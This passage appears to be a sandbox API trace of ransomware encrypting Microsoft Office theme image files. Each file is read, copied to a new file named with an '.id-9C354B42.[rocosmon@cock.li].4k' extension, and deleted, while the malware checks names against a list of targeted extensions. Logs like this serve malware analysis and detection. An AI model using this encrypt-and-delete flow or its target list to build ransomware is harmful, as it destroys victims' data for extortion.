	[0105.063] lstrlenW (lpString=".ppt") returned 4
	[0105.063] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.063] lstrlenW (lpString=".zip") returned 4
	[0105.063] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.063] lstrlenW (lpString=".rar") returned 4
	[0105.063] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.063] lstrlenW (lpString=".bz2") returned 4
	[0105.063] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.063] lstrlenW (lpString=".7z") returned 3
	[0105.063] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.063] lstrlenW (lpString=".dbf") returned 4
	[0105.063] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.064] lstrlenW (lpString=".1cd") returned 4
	[0105.064] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.064] lstrlenW (lpString=".jpg") returned 4
	[0105.064] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.064] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.064] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0105.064] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1354) returned 1
	[0105.064] CloseHandle (hObject=0x1f0) returned 1
	[0105.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20
	[0105.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0105.065] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.065] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0105.177] GetLastError () returned 0x0
	[0105.177] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x54a, lpOverlapped=0x0) returned 1
	[0106.050] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0106.051] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.051] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.051] SetEndOfFile (hFile=0x1ac) returned 1
	[0106.052] CloseHandle (hObject=0x1ac) returned 1
	[0106.052] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.052] SetEndOfFile (hFile=0x1f0) returned 1
	[0106.053] CloseHandle (hObject=0x1f0) returned 1
	[0106.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.053] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1
	[0106.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.053] lstrlenW (lpString=".doc") returned 4
	[0106.053] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.053] lstrlenW (lpString=".docx") returned 5
	[0106.053] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.053] lstrlenW (lpString=".pdf") returned 4
	[0106.053] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.053] lstrlenW (lpString=".xls") returned 4
	[0106.053] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.053] lstrlenW (lpString=".xlsx") returned 5
	[0106.053] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.053] lstrlenW (lpString=".ppt") returned 4
	[0106.053] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.054] lstrlenW (lpString=".zip") returned 4
	[0106.054] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.054] lstrlenW (lpString=".rar") returned 4
	[0106.054] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.054] lstrlenW (lpString=".bz2") returned 4
	[0106.054] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.054] lstrlenW (lpString=".7z") returned 3
	[0106.054] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.054] lstrlenW (lpString=".dbf") returned 4
	[0106.054] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.054] lstrlenW (lpString=".1cd") returned 4
	[0106.054] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.054] lstrlenW (lpString=".jpg") returned 4
	[0106.054] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.054] lstrlenW (lpString=".doc") returned 4
	[0106.054] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.054] lstrlenW (lpString=".docx") returned 5
	[0106.054] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.054] lstrlenW (lpString=".pdf") returned 4
	[0106.054] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.054] lstrlenW (lpString=".xls") returned 4
	[0106.054] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.054] lstrlenW (lpString=".xlsx") returned 5
	[0106.054] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.054] lstrlenW (lpString=".ppt") returned 4
	[0106.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.055] lstrlenW (lpString=".zip") returned 4
	[0106.055] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.055] lstrlenW (lpString=".rar") returned 4
	[0106.055] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.055] lstrlenW (lpString=".bz2") returned 4
	[0106.055] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.055] lstrlenW (lpString=".7z") returned 3
	[0106.055] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.055] lstrlenW (lpString=".dbf") returned 4
	[0106.055] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.055] lstrlenW (lpString=".1cd") returned 4
	[0106.055] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0106.055] lstrlenW (lpString=".jpg") returned 4
	[0106.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.055] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0106.055] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0106.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0106.056] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=53115) returned 1
	[0106.056] CloseHandle (hObject=0x1f0) returned 1
	[0106.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20
	[0106.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0106.056] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.056] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0106.056] GetLastError () returned 0x0
	[0106.056] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0xcf7b, lpOverlapped=0x0) returned 1
	[0106.092] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xcf80, lpOverlapped=0x0) returned 1
	[0106.094] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.094] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.094] SetEndOfFile (hFile=0x1ac) returned 1
	[0106.094] CloseHandle (hObject=0x1ac) returned 1
	[0106.094] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.094] SetEndOfFile (hFile=0x1f0) returned 1
	[0106.095] CloseHandle (hObject=0x1f0) returned 1
	[0106.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.096] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1
	[0106.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.096] lstrlenW (lpString=".doc") returned 4
	[0106.097] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.097] lstrlenW (lpString=".docx") returned 5
	[0106.097] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.097] lstrlenW (lpString=".pdf") returned 4
	[0106.097] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.097] lstrlenW (lpString=".xls") returned 4
	[0106.097] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.097] lstrlenW (lpString=".xlsx") returned 5
	[0106.097] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.097] lstrlenW (lpString=".ppt") returned 4
	[0106.097] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.097] lstrlenW (lpString=".zip") returned 4
	[0106.097] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.097] lstrlenW (lpString=".rar") returned 4
	[0106.097] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.097] lstrlenW (lpString=".bz2") returned 4
	[0106.097] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.097] lstrlenW (lpString=".7z") returned 3
	[0106.097] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.097] lstrlenW (lpString=".dbf") returned 4
	[0106.097] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.097] lstrlenW (lpString=".1cd") returned 4
	[0106.097] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.097] lstrlenW (lpString=".jpg") returned 4
	[0106.097] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.098] lstrlenW (lpString=".doc") returned 4
	[0106.098] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.098] lstrlenW (lpString=".docx") returned 5
	[0106.098] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.098] lstrlenW (lpString=".pdf") returned 4
	[0106.098] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.098] lstrlenW (lpString=".xls") returned 4
	[0106.098] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.098] lstrlenW (lpString=".xlsx") returned 5
	[0106.098] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.098] lstrlenW (lpString=".ppt") returned 4
	[0106.098] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.098] lstrlenW (lpString=".zip") returned 4
	[0106.098] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.098] lstrlenW (lpString=".rar") returned 4
	[0106.098] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.098] lstrlenW (lpString=".bz2") returned 4
	[0106.098] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.098] lstrlenW (lpString=".7z") returned 3
	[0106.098] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.098] lstrlenW (lpString=".dbf") returned 4
	[0106.098] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.098] lstrlenW (lpString=".1cd") returned 4
	[0106.098] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0106.098] lstrlenW (lpString=".jpg") returned 4
	[0106.099] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.099] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0106.099] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0106.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0106.414] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=31975) returned 1
	[0106.414] CloseHandle (hObject=0x1e8) returned 1
	[0106.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20
	[0106.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0106.414] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.414] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0106.414] GetLastError () returned 0x0
	[0106.415] ReadFile (in: hFile=0x1e8, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x7ce7, lpOverlapped=0x0) returned 1
	[0106.523] WriteFile (in: hFile=0x1f8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7cf0, lpOverlapped=0x0) returned 1
	[0106.525] ReadFile (in: hFile=0x1e8, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.525] WriteFile (in: hFile=0x1f8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.525] SetEndOfFile (hFile=0x1f8) returned 1
	[0106.525] CloseHandle (hObject=0x1f8) returned 1
	[0106.525] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.525] SetEndOfFile (hFile=0x1e8) returned 1
	[0106.526] CloseHandle (hObject=0x1e8) returned 1
	[0106.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.527] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1
	[0106.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.527] lstrlenW (lpString=".doc") returned 4
	[0106.527] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.527] lstrlenW (lpString=".docx") returned 5
	[0106.527] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.527] lstrlenW (lpString=".pdf") returned 4
	[0106.527] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.527] lstrlenW (lpString=".xls") returned 4
	[0106.527] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.527] lstrlenW (lpString=".xlsx") returned 5
	[0106.527] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.527] lstrlenW (lpString=".ppt") returned 4
	[0106.527] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.528] lstrlenW (lpString=".zip") returned 4
	[0106.528] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.528] lstrlenW (lpString=".rar") returned 4
	[0106.528] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.528] lstrlenW (lpString=".bz2") returned 4
	[0106.528] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.528] lstrlenW (lpString=".7z") returned 3
	[0106.528] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.528] lstrlenW (lpString=".dbf") returned 4
	[0106.528] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.528] lstrlenW (lpString=".1cd") returned 4
	[0106.528] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.528] lstrlenW (lpString=".jpg") returned 4
	[0106.528] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
